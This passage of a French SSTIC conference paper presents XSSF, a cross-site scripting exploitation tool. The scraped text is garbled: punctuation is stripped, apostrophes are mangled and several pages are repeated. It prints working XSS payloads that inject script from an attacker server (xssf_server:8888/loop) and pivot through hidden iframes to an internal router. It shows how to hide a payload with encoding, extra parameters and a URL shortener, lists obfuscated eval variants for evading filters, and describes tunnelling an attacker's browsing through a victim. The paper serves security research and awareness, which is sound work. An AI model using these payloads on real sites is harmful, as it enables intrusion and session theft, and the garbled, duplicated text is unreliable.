Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 27: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 28: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

